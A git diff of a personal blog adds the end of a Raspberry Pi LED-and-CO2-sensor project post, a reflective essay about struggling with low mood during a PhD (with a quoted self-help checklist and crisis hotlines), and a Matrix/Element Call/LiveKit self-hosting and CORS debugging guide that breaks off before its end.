instantly; the scheduler will swap in the “real” choice within a few seconds. + +--- + +### TL;DR (but keep the vibes) + +- **Frame-diff** = no flashes. +- **EMA + hysteresis** = smooth, truthful color. +- **Breathing** = presence, not signage. +- **Threads per thing** (LEDs / sensor / scheduler) = no fights. +- **Atomic files** = no corrupted schedules. +- **Safe Mode** by default = people > pixels. + +That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty. + +### Why this shape of code? +- **One thread per hardware thing.** The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides *what* to run and when. No bus fights. +- **Frame diff.** I only call `strip.show()` when a pixel actually changes. That’s why it doesn’t randomly flash during web requests. +- **Atomic schedule saves.** The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule. + +> No, you don’t *need* the sensor. If it’s not connected, the app still runs; `co2_monitor` just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don't you agree? + +--- + +## 7) Sensor Database — what it stores, where it lives, and how far it goes + +This project logs room conditions to a **tiny SQLite database** so you can graph trends, spot stuffy meetings, and keep a record without running a separate server. + +### What’s stored + +A single table called `readings`: + +```sql +CREATE TABLE IF NOT EXISTS readings ( + timestamp TEXT PRIMARY KEY, -- "YYYY-MM-DD HH:MM:SS" + co2 INTEGER, -- ppm + temperature REAL, -- °C + humidity REAL -- % +); +``` + +- One row per sample (typically every **5–60 seconds**; slow it down to reduce writes). +- `timestamp` is the primary key → easy “latest” queries and natural time ordering. + +### Where the file lives + +- Path is configurable via env var `DB_PATH` (see your systemd unit). +- Default: `sensor.db` in the app’s working directory (e.g. `/home/pi/inet-led/sensor.db`). + +Check size: + +```bash +ls -lh /home/pi/inet-led/sensor.db +``` + +### How writes happen (and why it’s safe) + +- The **sensor thread** owns I²C and inserts a row only when the sensor reports `data_ready`. +- Inserts are short and journaling protects against power loss. +- For friendlier read/write concurrency, enable WAL once at startup: + +```sql +PRAGMA journal_mode = WAL; +PRAGMA synchronous = NORMAL; +``` + +### Typical size & retention + +Back-of-envelope: + +- ~100–200 bytes per row (including overhead). +- 1 sample/minute → ~1,440 rows/day → **~150–300 KB/day** → **55–110 MB/year**. +- If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling). + +Prune old data (keep last 90 days): + +```sql +DELETE FROM readings +WHERE timestamp < date('now','-90 day'); +``` + +(Optionally run `VACUUM;` after large deletes to reclaim file space.) + +### Useful queries + +**Latest reading:** +```sql +SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1; +``` + +**Range for charts (last 7 days):** +```sql +SELECT * FROM readings +WHERE timestamp >= datetime('now','-7 day') +ORDER BY timestamp; +``` + +**Downsample to hourly averages (30 days):** +```sql +SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour, + AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h +FROM readings +WHERE timestamp >= datetime('now','-30 day') +GROUP BY hour +ORDER BY hour; +``` + +**Export to CSV (example via sqlite3 CLI):** +```bash +sqlite3 /home/pi/inet-led/sensor.db <<'SQL' +.headers on +.mode csv +.output /home/pi/inet-led/export_readings.csv +SELECT * FROM readings ORDER BY timestamp; +.output stdout +SQL +``` + +### SD card friendliness + +- Choose a sensible interval (e.g., **30–60 s**). +- Optionally buffer in memory and write every N samples. +- Prefer WAL mode; periodically prune & vacuum. +- If you care about card wear, place the DB on USB/SSD. + +### Backups & restore + +**Nightly backup (simple):** +```bash +sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'" +``` + +**Restore:** +1. `sudo systemctl stop inet-led` +2. Copy backup file back to `/home/pi/inet-led/sensor.db` +3. `sudo systemctl start inet-led` + +### Security & permissions + +```bash +chown pi:pi /home/pi/inet-led/sensor.db +chmod 600 /home/pi/inet-led/sensor.db +``` + +Keep the app directory non-world-readable. + +### Is SQLite the right choice? + +**Yes, for a single Pi** logging every few seconds and rendering local charts: +- ✅ Zero admin, a single file, reliable journaling, great performance at this scale. +- ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine). +- ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports. + +### TL;DR + +SQLite is perfect here: **simple, robust, easy to back up**. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi. + +--- + +## 8) Run at Boot (systemd) + +I wrote this simple systemd to `/etc/systemd/system/inet-led.service` so that it runs the script when RPi boots up: + +```ini +[Unit] +Description=INET LED Panel +After=network.target + +[Service] +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py +WorkingDirectory=/home/pi/inet-led +Restart=always +User=pi +Environment=LED_COUNT=78 +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json +Environment=DB_PATH=/home/pi/inet-led/sensor.db + +[Install] +WantedBy=multi-user.target +``` + +Then you can run: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now inet-led +journalctl -u inet-led -f +``` + +to control the systemd service. + +--- + + + +## 9) Soldering Notes (a love letter to hot glue) + +- **Tin first, solder second.** Tiny pads like tiny puddles. Fast in/out, no lifted pads. +- **Stagger joints** so nothing stacks under the diffuser. +- **Heat‑shrink + a dot of hot glue** = happier future you. +- **Continuity before power.** Multimeter first, electrons last. +- If a pad *does* lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works. + +Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable... So... yea. + +--- + +## 10) Why these design choices? + +- **Calm motion, not flashy.** Meeting rooms breed fatigue; the light should be a helper, not a distraction. +- **Cyan→Purple language.** Easy to learn, visible at a glance, meaningful without numbers. +- **White charts, dark UI.** Data should be legible on a projector; buttons shouldn’t shout. +- **Safe Mode default.** People first. Demos are opt‑in. +- **PLA body, PLA diffuser.** Fast and easy rapid prototyping, easy and fast printing. + +--- + +## 11) What I learned + +- A logo is a better messenger than a dashboard. +- Everyone knows what **orange** means without a legend. +- If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering! +- Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^ + +--- + +## 12) Final notes +I did this project as a fun distraction and "not work" as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I'm so so thankful of my advisor for this cool idea, and all the support. It's not the first time I've been gifted such toys, and as I have recieved other things after that, I know it's not the last. + +There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let's hope that doesn't turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!* + +The whole project took around 8 days, 4 of which were part of a long weekend. I did do some "not work" as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don't know how the group feels/thinks about the logo, but I love it! I hope it won't die after I leave, but even if so, so be it. I had my fun with it. :) + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/inet_logo.md.asc b/static/sources/posts/inet_logo.md.asc new file mode 100644 index 0000000..ae07e1c --- /dev/null +++ b/static/sources/posts/inet_logo.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93 +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13 +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8= +=tAeg +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/loop_of_doom.md b/static/sources/posts/loop_of_doom.md new file mode 100644 index 0000000..af253f9 --- /dev/null +++ b/static/sources/posts/loop_of_doom.md @@ -0,0 +1,108 @@ ++++ +title = 'The Loop of Doom' +date = 2025-11-07T13:45:52Z +draft = false ++++ + +It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn't. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I've been feeling more down, sad, exhausted. I've been wanting to stay alone at home. To rest. And then I get stressed and sad because I'm not doing anything. I get the feeling of worthlessness a lot lately. It's exhausting. + +Funny how I loved my research, the group, the people, hanging out, trying new things. It's just funny how everything changed all of the sudden. How I don't feel anything anymore. How sad I've been. How down I've been. My cognitive functions, my memory and everything has been also badly damaged. It's just horrible. + +I've been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me. + +I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said "why do you want to label things?". + +This is actually a really valid question. I don't know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk. + +This is what I call the loop of doom. MDD. I don't even know if I'm experiencing it or not. All I know is that things are not right, and I don't feel well. + +Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn't work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world. + +I'm happy that I've not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure. + +It's sad because I can see it in my monthly reports, in the [PhD_journey](https://blog.alipourimjourneys.ir/phd_journey/) page of my blog. I can see how bad last month was, and I know this month has not been any better. It's just scary, and sad. I know I'm losing precious time that I cannot get back. I know at some point I'm expected to deliver results that I won't have, and I know I won't like myself when this inevitable happens. + +I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I've been told to do by my brother in the meanwhile: +- Going for short walks +- Doing small tasks that make me feel good +- idk... I don't remember anything else. + +ChatGPT also gave me some advice, I'll copy it here: +```markdown= +# 14‑Day Reset — Daily Checklist + +**Name:** _____________________ **Start date (Day 1):** ______________ **Wake time target:** ________ + +### How to use (60 seconds) + +* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each). +* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends. +* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win). +* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**. + +### Define today’s Minimum Reliable Dose (MRD) + +*(Write clear, tiny actions with a start line → action → done proof.)* + +* **Study MRD:** ________________________________________________________________ +* --- +* **Work/Code MRD:** ____________________________________________________________ +* --- + +--- + +### Daily tracker (14 days) + +| Day/Date | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes | +| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ | +| 1 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 2 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 3 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 4 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 5 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 6 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| **7 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | +| 8 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 9 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 10 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 11 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 12 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 13 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| **14 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | + +--- + +### Quick reference + +**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question). + +**Code — restart protocol:** + +1. Open repo → `git status` → run tests/linter → open last‑changed file. +2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log. +3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**. + +--- + +### Safety net (Germany) + +* **Emergency:** 112 +* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123 + If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care. +``` + +Lmao. I wonder how things will progress in the future, and how I'll do. Was it really because of a failed relationship? Really? Something that never happened? I don't believe it, it's not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn'tve these feelings. Maybe, just maybe. + +But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn't being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right. + +Darn. That is a lot. Lot of bad things. Back to back to back. + +Ok. Let's break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don't. But I will figure it out and make it work. I have to. I ain't, and I wasn't brought up like this. Let's fleaping go... + +I try to keep ya'll, the empty list of people, updated. + + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/loop_of_doom.md.asc b/static/sources/posts/loop_of_doom.md.asc new file mode 100644 index 0000000..35108ce --- /dev/null +++ b/static/sources/posts/loop_of_doom.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM +jSq5fw/+OIEZpkK2C+NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1 +uzwHMPamUdBUtZkK7Lk0RbzOFWo+ru4vtmcKe2XZoRUTUofB5+rPkPLz4OzoIyLX +mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK +g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG+RWtycp +X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n +TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv +bNNrRuF/0+t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK +PgS93JpDpYhURaH1f18b1YLgpEbIAR+AcwTlljeU8fVicHwbH0/vP9igASAJKJC6 +2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH+JBWRoyCjGgNsOA +XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1 +f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU= +=Cuma +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/matrix_setup.md b/static/sources/posts/matrix_setup.md new file mode 100644 index 0000000..7ddf478 --- /dev/null +++ b/static/sources/posts/matrix_setup.md @@ -0,0 +1,426 @@ +--- +title: "Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)" +date: 2025-08-26 +tags: ["matrix", "synapse", "element-call", "livekit", "coturn", "nginx", "webrtc", "self-hosting", "debugging"] +draft: false +description: "How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from 'waiting for media' to solid calls." +cover: + image: "/images/matrix-cover.png" + alt: "Matrix, Signal but distributed" + caption: "Distributed end-to-end encrypted chat platform" + relative: true + hidden: false +--- + +> TL;DR: The call kept saying **“waiting for media”** because the browser never opened a WebSocket to LiveKit. The root cause was **duplicate `Access-Control-Allow-Origin` headers** on `/sfu/get` (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP **101** in logs) solved it. + +## What I'm building + +- A **Matrix homeserver** (Synapse) at `matrix.example.com` (replace with your domain). +- **TURN/STUN** (coTURN) for NAT traversal. +- **Element Call** backed by **LiveKit**, fronted by `rtc.example.com`. +- **Nginx (host)** as the single reverse proxy for everything. +- **Cloudflare** DNS (with `rtc.*` set to **DNS-only**, no orange cloud). +- **UFW** firewall opened for Matrix federation, TURN, and LiveKit media ports. + +> I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used **host** Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. + +--- + +## Prereqs + +- DNS A/AAAA: + - `matrix.example.com` → your server (v4/v6) + - `rtc.example.com` → your server (v4/v6) +- Certificates: + - `matrix.example.com` and `rtc.example.com` via Let’s Encrypt on the host +- Cloudflare: **DNS-only (grey cloud)** for `rtc.example.com` so WebSockets & UDP work without interference. +- UFW / firewall open: + - 80/tcp, 443/tcp + - 8448/tcp (Matrix federation) + - 3478/tcp, 3478/udp and **5349/tcp** (TURN/TLS) + - **LiveKit**: 7881/tcp and **50100–50200/udp** (or your chosen range) +- Docker + docker compose installed. + +--- + +## Synapse + PostgreSQL + +### 1) The PostgreSQL collation gotcha + +Synapse prefers the database collation **`C`**. If your Postgres cluster was initialized with `en_US.utf8`, Synapse will error like: + +``` +Database has incorrect collation of 'en_US.utf8'. Should be 'C' +``` + +**Two ways to resolve:** + +- **Preferred (clean)**: Re-initialize the Postgres **cluster** with `C` and `UTF-8`: + +```yaml +# docker-compose.yml (excerpt for Postgres) +services: + db: + image: postgres:16 + environment: + POSTGRES_DB: synapse + POSTGRES_USER: synapse + POSTGRES_PASSWORD: + POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C" + volumes: + - ./pgdata:/var/lib/postgresql/data +``` + +> Requires wiping the volume and recreating the DB. + +- **Pragmatic (works quickly)**: In Synapse’s DB config, set `allow_unsafe_locale: true`. This bypasses the check. It’s fine for hobby use; for production, prefer the clean `C` cluster. + +### 2) Start Synapse and generate config + +```bash +docker compose up -d db synapse +# Logs +docker compose logs --tail=200 synapse +``` + +Ensure Synapse prints your **server_name** and **public base URL** and stays up. + +### 3) Create an admin user + +```bash +# Exec into the running Synapse container: +docker compose exec synapse register_new_matrix_user \ + -c /data/homeserver.yaml -u -p \ + -a -k +``` + +> If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use `docker compose exec synapse …` against the running container. + +--- + +## TURN (coTURN) + +### 1) Avoid bad inline comments + +If you see errors like: + +``` +ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false. +``` + +…it means a `#` comment is on the **same line** as a boolean directive. Move comments to their own lines. + +### 2) Minimal `turnserver.conf` + +```ini +listening-port=3478 +tls-listening-port=5349 +fingerprint +use-auth-secret +static-auth-secret= # also set in Synapse +realm=example.com # used in creds generation +total-quota=0 +bps-capacity=0 +cli-password= +no-cli +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem +# If behind NAT: +# external-ip=/ +``` + +### 3) Wire TURN into Synapse + +In `homeserver.yaml`: + +```yaml +turn_uris: + - "turn:turn.example.com?transport=udp" + - "turn:turn.example.com?transport=tcp" + - "turns:turn.example.com:5349?transport=tcp" +turn_shared_secret: "" +turn_user_lifetime: "1d" +``` + +Verify the homeserver issues TURN creds: + +```bash +TOKEN='' +curl -s -H "Authorization: Bearer $TOKEN" \ + https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq +``` + +You should see `uris`, a time-limited `username` and `password`. + +--- + +## Nginx (host) for Synapse and federation + +Create `/etc/nginx/conf.d/matrix.conf`: + +```nginx +# Client traffic on 443 +server { + listen 443 ssl; listen [::]:443 ssl; + server_name matrix.example.com; + + ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; + + # Proxy client & admin APIs to Synapse (container) on 8008 + location ~ ^(/_matrix|/_synapse/client) { + proxy_pass http://127.0.0.1:8008; + proxy_set_header X-Forwarded-For $remote_addr; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header Host $host; + client_max_body_size 50M; + } + + # Advertise homeserver base + RTC focus (MSC4143) via .well-known + location = /.well-known/matrix/client { + default_type application/json; + add_header Access-Control-Allow-Origin "*" always; + return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}'; + } +} + +# Federation on 8448 +server { + listen 8448 ssl http2; listen [::]:8448 ssl http2; + server_name matrix.example.com; + + ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:8008; + proxy_set_header X-Forwarded-For $remote_addr; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header Host $host; + client_max_body_size 50M; + } +} +``` + +Reload and sanity check: + +```bash +sudo nginx -t && sudo systemctl reload nginx +curl -s https://matrix.example.com/.well-known/matrix/client | jq +``` + +Also check Synapse supports RTC signaling (MSC4140) so clients actually use it: + +```bash +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"' +# expect: true +``` + +--- + +## Element Call + LiveKit + +I’ll run **LiveKit** and the small **JWT helper** (Element’s `elementcall_jwt`) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects. + +### 1) LiveKit config (`/etc/livekit.yaml` inside container) + +```yaml +port: 7880 +bind_addresses: ["0.0.0.0"] +rtc: + tcp_port: 7881 + port_range_start: 50100 + port_range_end: 50200 + use_external_ip: true +logging: + level: info +turn: + enabled: false +keys: + lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________" +``` + +> **Important:** the secret must be **>= 32 chars**. The default `devkey` will trigger `secret is too short` warnings and won’t work with the JWT helper. + +### 2) elementcall_jwt env + +Run it with: + +- `LIVEKIT_URL=wss://rtc.example.com` _(root WS URL, **no** `/livekit/sfu` path)_ +- `LIVEKIT_KEY=lk_prod_1` +- `LIVEKIT_SECRET=` +- `LIVEKIT_JWT_PORT=8080` (internal HTTP port the proxy will hit) +- Optionally: `LIVEKIT_FULL_ACCESS_HOMESERVERS=*` during setup + +Check logs on start; it prints the LIVEKIT_URL it will advertise. + +### 3) Nginx (host) for `rtc.example.com` + +Create `/etc/nginx/conf.d/rtc.conf`: + +```nginx +server { + listen 443 ssl; listen [::]:443 ssl; + server_name rtc.example.com; + + ssl_certificate /etc/letsencrypt/live/rtc.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem; + + access_log /var/log/nginx/rtc.access.log combined; + + # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO) + location = /sfu/get { + proxy_hide_header Access-Control-Allow-Origin; + add_header Access-Control-Allow-Origin $http_origin always; + add_header Vary "Origin" always; + add_header Access-Control-Allow-Methods "POST, OPTIONS" always; + add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always; + if ($request_method = OPTIONS) { return 204; } + + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_pass http://127.0.0.1:8070/sfu/get; # elementcall_jwt + } + + # 3b) LiveKit WS & HTTP (catch-all) + location / { + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol; # "livekit" + proxy_set_header Origin $http_origin; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_buffering off; + proxy_read_timeout 3600s; + proxy_pass http://127.0.0.1:7880; # livekit + } +} +``` + +Reload and basic checks: + +```bash +sudo nginx -t && sudo systemctl reload nginx +# JWT preflight (should return a single ACAO header) +curl -si -X OPTIONS https://rtc.example.com/sfu/get \ + -H 'Origin: https://app.element.io' \ + -H 'Access-Control-Request-Method: POST' \ + -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p' +# Expected: one Access-Control-Allow-Origin and 200/204 +``` + +> **Why I did this:** I initially had **two** `Access-Control-Allow-Origin` headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything. + +--- + +## The “waiting for media” debugging story (how I found it) + +Symptom: Element Call created rooms, but calls stayed on **“waiting for media.”** + +What worked: +- `elementcall_jwt` could **CreateRoom** in LiveKit (seen in logs). +- TURN creds endpoint returned time-limited credentials. + +What didn’t appear: +- No **HTTP 101** lines in `rtc.access.log` → the **browser never established a WebSocket** to LiveKit. + +### Step 1: prove the WS vhost works (even without auth) + +```bash +curl -v --http1.1 \ + -H 'Connection: Upgrade' -H 'Upgrade: websocket' \ + -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \ + -H 'Sec-WebSocket-Version: 13' \ + https://rtc.example.com/rtc -o /dev/null +``` +Result: I got a `401` (expected), but importantly I saw a log line in `rtc.access.log`. So **Nginx WS proxying was fine**. + +### Step 2: check the browser console + +The smoking gun in DevTools: + +``` +Access-Control-Allow-Origin cannot contain more than one origin. +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks. +``` + +The browser refused the JWT call due to duplicated **ACAO** headers, so no token → no WebSocket connect. + +**Fix:** in Nginx I added: + +```nginx +proxy_hide_header Access-Control-Allow-Origin; +add_header Access-Control-Allow-Origin $http_origin always; +add_header Vary "Origin" always; +``` + +…and ensured no other `add_header` created duplicates. After that, `/sfu/get` succeeded and the WebSocket to `wss://rtc.example.com` immediately followed (I saw **HTTP 101** in the logs). + +### Step 3: confirm LiveKit side + +Once the WS was up, LiveKit logs showed participants joining (not just `RoomService.CreateRoom`), and calls were established. + +--- + +## Useful verification commands + +```bash +# Synapse features (expect MSC4140 true) +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"' + +# Well-known with RTC focus +curl -s https://matrix.example.com/.well-known/matrix/client | jq + +# TURN creds (with your access token) +curl -s -H "Authorization: Bearer $TOKEN" \ + https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq + +# JWT health +curl -si -X POST https://rtc.example.com/sfu/get + +# LiveKit simple HTTP probe +curl -si https://rtc.example.com | head + +# Nginx logs (look for 101 Switching Protocols when a call starts) +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 ' +``` + +--- + +## Common pitfalls (I hit these so you don’t have to) + +- **Host Nginx vs Docker Nginx:** If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get `bind() ... already in use` and restart loops. Use **host** Nginx to reverse proxy to containers. +- **Nginx `http2` directive:** Old Nginx may not support the `http2` directive on `listen`. Use `listen 443 ssl;` (and add `http2` if your version supports it). +- **Certificate name mismatch:** Make sure `rtc.example.com`’s vhost uses a certificate **for that exact hostname** (initially I had the `matrix.*` cert on `rtc.*` and curl complained). +- **Postgres collation:** Either initialize the cluster with `C` or use `allow_unsafe_locale: true` in Synapse DB config to get running quickly. +- **CORS duplication on `/sfu/get`:** Only ONE `Access-Control-Allow-Origin` header. If the upstream adds it too, use `proxy_hide_header Access-Control-Allow-Origin;` on the Nginx location. +- **Cloudflare:** Use **DNS-only** for `rtc.*`. Proxies can interfere with WS and UDP paths. +- **Firewall:** Open the LiveKit UDP range and TURN ports on both v4 and v6. + +--- + +## Final checklist (print me) + +- [ ] `https://matrix.example.com/.well-known/matrix/client` returns **both** `m.homeserver.base_url` and `org.matrix.msc4143.rtc_foci` pointing to `https://rtc.example.com`. +- [ ] `/_matrix/client/versions` shows 